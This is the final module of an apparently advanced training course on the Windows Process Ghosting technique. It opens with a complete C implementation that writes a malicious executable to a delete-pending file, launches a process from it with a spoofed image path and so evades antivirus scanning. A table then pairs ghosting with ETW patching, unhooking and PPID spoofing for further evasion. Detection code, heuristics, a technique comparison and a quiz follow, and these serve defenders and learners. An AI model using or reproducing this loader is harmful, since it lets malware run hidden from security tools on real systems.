Difficulty: Advanced

Module 8: Full Chain, Detection & Comparison

The complete Process Ghosting flow from end to end, detection strategies for defenders, and a final comparison with Doppelgänging and Herpaderping.

Module Objective

Consolidate the entire Process Ghosting technique into one complete reference, learn how defenders can detect ghosted processes using NtQueryInformationProcess, file object state inspection, ETW correlation, and behavioral heuristics, and deeply compare Ghosting with Doppelgänging and Herpaderping to understand each technique’s strengths and weaknesses.

1. The Complete Process Ghosting Chain

Here is the entire technique from start to finish, combining all the modules into a single reference:

// ============================================
// COMPLETE PROCESS GHOSTING IMPLEMENTATION
// ============================================

#include <windows.h>
#include <winternl.h>

bool ProcessGhost(
    BYTE* payloadPE, DWORD payloadSize,
    LPCWSTR ghostPath,     // temp file path
    LPCWSTR spoofedPath)   // what appears in PEB
{
    HANDLE hFile = NULL, hSection = NULL;
    HANDLE hProcess = NULL, hThread = NULL;
    IO_STATUS_BLOCK iosb = { 0 };
    OBJECT_ATTRIBUTES objAttr = { 0 };
    UNICODE_STRING ntPath;
    NTSTATUS status;

    // ==========================================
    // PHASE 1: Create the ghost file (Module 4)
    // ==========================================

    RtlInitUnicodeString(&ntPath, ghostPath);
    InitializeObjectAttributes(&objAttr, &ntPath,
        OBJ_CASE_INSENSITIVE, NULL, NULL);

    // Step 1a: Create empty file with exclusive access
    status = NtCreateFile(&hFile,
        GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
        &objAttr, &iosb, NULL,
        FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_SUPERSEDE, // create or replace
        FILE_SYNCHRONOUS_IO_NONALERT,
        NULL, 0);
    if (!NT_SUCCESS(status)) return false;

    // Step 1b: Mark delete-pending BEFORE writing
    FILE_DISPOSITION_INFORMATION dispInfo = { TRUE };
    status = NtSetInformationFile(hFile, &iosb,
        &dispInfo, sizeof(dispInfo),
        FileDispositionInformation);
    if (!NT_SUCCESS(status)) {
        NtClose(hFile); return false;
    }

    // Step 1c: Write malicious PE to the condemned file
    LARGE_INTEGER offset = { 0 };
    status = NtWriteFile(hFile, NULL, NULL, NULL,
        &iosb, payloadPE, payloadSize,
        &offset, NULL);
    if (!NT_SUCCESS(status)) {
        NtClose(hFile); return false;
    }

    // ==========================================
    // PHASE 2: Create image section (Module 5)
    // ==========================================

    status = NtCreateSection(&hSection,
        SECTION_ALL_ACCESS, NULL, NULL,
        PAGE_READONLY, SEC_IMAGE, hFile);

    // Close file handle -> file deleted from disk
    NtClose(hFile);
    hFile = NULL;

    if (!NT_SUCCESS(status)) return false;
    // File is GONE. Section persists.

    // ==========================================
    // PHASE 3: Create process (Module 6)
    // ==========================================

    status = NtCreateProcessEx(&hProcess,
        PROCESS_ALL_ACCESS, NULL,
        NtCurrentProcess(), 0,
        hSection, NULL, NULL, FALSE);
    if (!NT_SUCCESS(status)) {
        NtClose(hSection); return false;
    }

    // ==========================================
    // PHASE 4: Setup process parameters
    // ==========================================

    // Get PEB address and entry point
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    NtQueryInformationProcess(hProcess,
        ProcessBasicInformation,
        &pbi, sizeof(pbi), NULL);

    SECTION_IMAGE_INFORMATION imgInfo = { 0 };
    NtQuerySection(hSection,
        SectionImageInformation,
        &imgInfo, sizeof(imgInfo), NULL);

    // Create process parameters with spoofed path
    UNICODE_STRING uImgPath, uCmdLine, uCurDir, uDllPath;
    RtlInitUnicodeString(&uImgPath, spoofedPath);
    RtlInitUnicodeString(&uCmdLine, spoofedPath);
    RtlInitUnicodeString(&uCurDir,
        L"C:\\Windows\\System32");
    RtlInitUnicodeString(&uDllPath,
        L"C:\\Windows\\System32");

    PRTL_USER_PROCESS_PARAMETERS params = NULL;
    RtlCreateProcessParametersEx(¶ms,
        &uImgPath, &uDllPath, &uCurDir, &uCmdLine,
        NULL, NULL, NULL, NULL, NULL,
        RTL_USER_PROC_PARAMS_NORMALIZED);

    // Allocate and write params into target process
    PVOID remoteParams = params;
    SIZE_T paramSize = params->MaximumLength +
                       params->EnvironmentSize;
    NtAllocateVirtualMemory(hProcess, &remoteParams,
        0, ¶mSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    SIZE_T written;
    WriteProcessMemory(hProcess, remoteParams,
        params, paramSize, &written);

    // Update PEB->ProcessParameters
    WriteProcessMemory(hProcess,
        (PBYTE)pbi.PebBaseAddress +
            offsetof(PEB, ProcessParameters),
        &remoteParams, sizeof(PVOID), &written);

    RtlDestroyProcessParameters(params);

    // ==========================================
    // PHASE 5: Create thread - process starts
    // ==========================================

    status = NtCreateThreadEx(&hThread,
        THREAD_ALL_ACCESS, NULL, hProcess,
        (LPTHREAD_START_ROUTINE)imgInfo.TransferAddress,
        NULL, FALSE, 0, 0, 0, NULL);

    NtClose(hSection);
    if (!NT_SUCCESS(status)) {
        NtTerminateProcess(hProcess, status);
        NtClose(hProcess);
        return false;
    }

    // GHOST PROCESS IS RUNNING
    NtClose(hThread);
    NtClose(hProcess);
    return true;
}

2. Detection Strategy 1: NtQueryInformationProcess

The most direct detection method queries the process’s image file information and checks whether the backing file still exists:

// Detection: check if a process's image file exists
bool IsGhostedProcess(HANDLE hProcess)
{
    // Query ProcessImageFileName
    BYTE buffer[512];
    ULONG retLen = 0;
    NTSTATUS status = NtQueryInformationProcess(
        hProcess,
        ProcessImageFileName,  // returns NT path
        buffer, sizeof(buffer), &retLen);

    if (!NT_SUCCESS(status)) return false;

    PUNICODE_STRING imagePath =
        (PUNICODE_STRING)buffer;

    // Try to open the file
    HANDLE hFile;
    IO_STATUS_BLOCK iosb;
    OBJECT_ATTRIBUTES objAttr;
    InitializeObjectAttributes(&objAttr, imagePath,
        OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtOpenFile(&hFile,
        FILE_READ_ATTRIBUTES | SYNCHRONIZE,
        &objAttr, &iosb,
        FILE_SHARE_READ | FILE_SHARE_WRITE |
            FILE_SHARE_DELETE,
        FILE_SYNCHRONOUS_IO_NONALERT);

    if (status == STATUS_OBJECT_NAME_NOT_FOUND ||
        status == STATUS_DELETE_PENDING) {
        // SUSPICIOUS: Process's image file doesn't exist
        // or is being deleted
        return true;
    }

    if (NT_SUCCESS(status)) {
        NtClose(hFile);
    }
    return false;
}

Detection Logic

For a normal process, ProcessImageFileName returns a valid path to a file that exists on disk. For a ghosted process, the path points to a file that has been deleted. Opening it fails with STATUS_OBJECT_NAME_NOT_FOUND. This is a strong indicator of ghosting (or similar tampering). However, false positives can occur if a legitimate executable was deleted after the process started (e.g., during an update).

3. Detection Strategy 2: File Object State Inspection

From a kernel driver, the FILE_OBJECT associated with the process’s section can be inspected directly:

// Kernel-mode detection: inspect section FILE_OBJECT
// (conceptual - requires kernel driver)
NTSTATUS DetectGhostedProcess(PEPROCESS Process)
{
    PFILE_OBJECT fileObj = NULL;
    PSECTION_OBJECT section = NULL;

    // Get the process's image section
    section = PsReferenceProcessImageSection(Process);
    if (!section) return STATUS_UNSUCCESSFUL;

    // Get the file object from the section's control area
    fileObj = MmGetFileObjectForSection(section);
    if (!fileObj) {
        ObDereferenceObject(section);
        return STATUS_NOT_FOUND;  // no file object - suspicious
    }

    // Check the file object's delete disposition
    // FILE_OBJECT.DeletePending or check via
    // FsRtlIsFileDeletePending()
    if (fileObj->DeletePending) {
        // File is delete-pending - GHOSTING IN PROGRESS
        return STATUS_GHOSTING_DETECTED;
    }

    // Check if the file still has a valid name
    // in the filesystem
    POBJECT_NAME_INFORMATION nameInfo = NULL;
    NTSTATUS status = IoQueryFileDosDeviceName(
        fileObj, &nameInfo);
    if (!NT_SUCCESS(status)) {
        // Cannot resolve file name - file likely deleted
        return STATUS_GHOSTING_DETECTED;
    }

    ExFreePool(nameInfo);
    ObDereferenceObject(section);
    return STATUS_SUCCESS;
}

Kernel Driver Required

Direct file object inspection requires a kernel-mode driver. User-mode tools cannot directly access the FILE_OBJECT or CONTROL_AREA structures. However, user-mode detection via NtQueryInformationProcess (Strategy 1) is usually sufficient for identifying ghosted processes.

4. Detection Strategy 3: ETW Event Correlation

An ETW-based detection system can monitor for the specific sequence of operations that characterize Process Ghosting:

Ghosting Event Signature

OrderETW EventKey Details
1File CreateNew file created (or superseded) with DELETE permission
2File Set Info (Disposition)FileDispositionInformation with DeleteFile = TRUE on a newly created file
3File WriteSignificant data written to the delete-pending file (PE-sized payload)
4Section CreateNtCreateSection with SEC_IMAGE from the same file handle
5File CloseHandle closed, triggering file deletion
6Process CreateNtCreateProcessEx with the section from step 4

Finding this exact sequence within a short time window (typically under 1 second) on the same thread is a high-fidelity indicator of Process Ghosting.

// Pseudo-code for ETW-based ghosting detection
struct GhostingCandidate {
    HANDLE fileHandle;
    DWORD threadId;
    ULONGLONG createTime;
    bool hasDisposition;
    bool hasWrite;
    bool hasSection;
};

void OnFileCreate(FileCreateEvent* evt) {
    if (evt->DesiredAccess & DELETE &&
        evt->CreateDisposition == FILE_SUPERSEDE) {
        // Potential ghosting: new file with DELETE access
        AddCandidate(evt->FileHandle, evt->ThreadId);
    }
}

void OnFileSetInfo(FileSetInfoEvent* evt) {
    auto candidate = FindCandidate(evt->FileHandle);
    if (candidate && evt->InfoClass == FileDispositionInformation) {
        candidate->hasDisposition = true;
    }
}

void OnSectionCreate(SectionCreateEvent* evt) {
    auto candidate = FindCandidate(evt->FileHandle);
    if (candidate && evt->Attributes & SEC_IMAGE) {
        candidate->hasSection = true;
    }
}

void OnProcessCreate(ProcessCreateEvent* evt) {
    // Correlate with section handle from candidates
    // If match found with all flags set -> ALERT
}

5. Detection Strategy 4: Behavioral Heuristics

HeuristicWhat to Look ForFalse Positive Risk
Missing image fileRunning process whose ProcessImageFileName resolves to a non-existent fileLow (but updates can cause this temporarily)
Delete-pending imageProcess creation notification where FileObject->DeletePending is TRUEVery low
NT API usage patternSequence of NtCreateFile → NtSetInformationFile → NtWriteFile → NtCreateSection → NtCreateProcessEx → NtCreateThreadEx from the same threadVery low (no legitimate software does this)
Parent-child mismatchProcess claims to be svchost.exe but was not spawned by services.exeMedium (depends on environment)
Image path vs PEB pathKernel-reported image path differs from PEB ProcessParameters->ImagePathNameLow

6. Deep Comparison: Ghosting vs Doppelgänging vs Herpaderping

Technique Comparison Matrix

CriteriaDoppelgängingHerpaderpingGhosting
File manipulationTxF transaction + rollbackOverwrite with benign contentDelete-pending + deletion
File on disk afterOriginal file (transaction rolled back)File exists with benign contentNo file at all
Windows API dependencyNtCreateTransaction, TxF APIsStandard NT file APIsStandard NT file APIs
Windows version supportLimited (TxF deprecated in Win10+)Wide (Win10, Win11)Wide (Win10, Win11)
Stability riskHigh (TxF + minifilter conflicts = BSOD)LowLow
Forensic evidenceMinimal (transaction rolled back)Benign file remains on diskNo file evidence on disk
Detection difficultyMedium (TxF usage is rare and flagged)Medium (file content mismatch detectable)High (no file to compare against)
Kernel callback evasionGood (file reverts)Good (file shows benign)Best (file does not exist)
Implementation complexityHigh (TxF APIs)Low (simple overwrite)Low-Medium (delete-pending handling)

7. Limitations and Caveats

What Ghosting Does NOT Do

Combining with Other Techniques

Combined TechniqueAdditional Evasion
Ghosting + Sleep ObfuscationEvades both file scanning and memory scanning during sleep
Ghosting + Syscall UnhookingRemoves EDR userland hooks in the ghost process
Ghosting + PPID SpoofingMakes the ghost process appear to have a legitimate parent
Ghosting + Module StompingHides the payload within a legitimate DLL’s memory
Ghosting + ETW PatchingSuppresses ETW events that could aid in detection

8. Summary: The Full Picture

Process Ghosting in One Paragraph

Process Ghosting creates a temporary file, marks it for deletion (making it inaccessible to other processes), writes a malicious PE payload to it, creates a SEC_IMAGE section from the condemned file, closes the file handle (triggering actual deletion), and then creates a process from the persisted section. The result is a running process whose backing image file does not exist on disk. AV/EDR cannot scan the file at any inspection point because it is either empty, inaccessible (delete-pending), or deleted. Detection requires inspecting the process’s file object state from a kernel driver, correlating ETW events, or checking whether the process’s reported image file exists on disk.

Complete Ghosting Flow

NtCreateFile
Empty file
SetDisposition
Delete-pending
NtWriteFile
Write PE
NtCreateSection
SEC_IMAGE
NtClose(file)
File deleted
NtCreateProcessEx
Ghost runs
ModuleTopicKey Takeaway
1Process Creation InternalsProcesses are created from section objects, not directly from files
2PE Tampering OverviewGhosting is the evolution of Hollowing → Doppelgänging → Herpaderping
3File States & Delete-PendingDelete-pending files are accessible to the handle owner but invisible to everyone else
4Creating the Ghost FileMark delete-pending BEFORE writing to prevent AV access to the payload
5Section MappingSections survive file deletion via kernel reference counting
6Process & Thread CreationNtCreateProcessEx + PEB setup + NtCreateThreadEx completes the ghost
7AV/EDR TimingAt every inspection point, the file is empty, locked, or gone
8Detection & ComparisonDetect via missing image file, file object state, or ETW correlation

Knowledge Check

Q1: What is the simplest user-mode method to detect a ghosted process?

A) Read the process's PEB and check the image base
B) Query ProcessImageFileName with NtQueryInformationProcess and check if the file exists on disk
C) Scan the process's virtual memory for PE headers
D) Check the process's thread start addresses

Q2: Which of the following is NOT a limitation of Process Ghosting?

A) Memory-based detection can still find the payload
B) EDR userland DLLs are still loaded into the ghost process
C) Kernel drivers can inspect the FILE_OBJECT state
D) The technique requires administrator privileges to execute

Q3: What is the main advantage of Process Ghosting over Process Herpaderping?

A) Ghosting is faster to execute
B) Ghosting works on older Windows versions
C) Ghosting leaves no file on disk at all, while Herpaderping leaves a file with benign content
D) Ghosting encrypts the payload in memory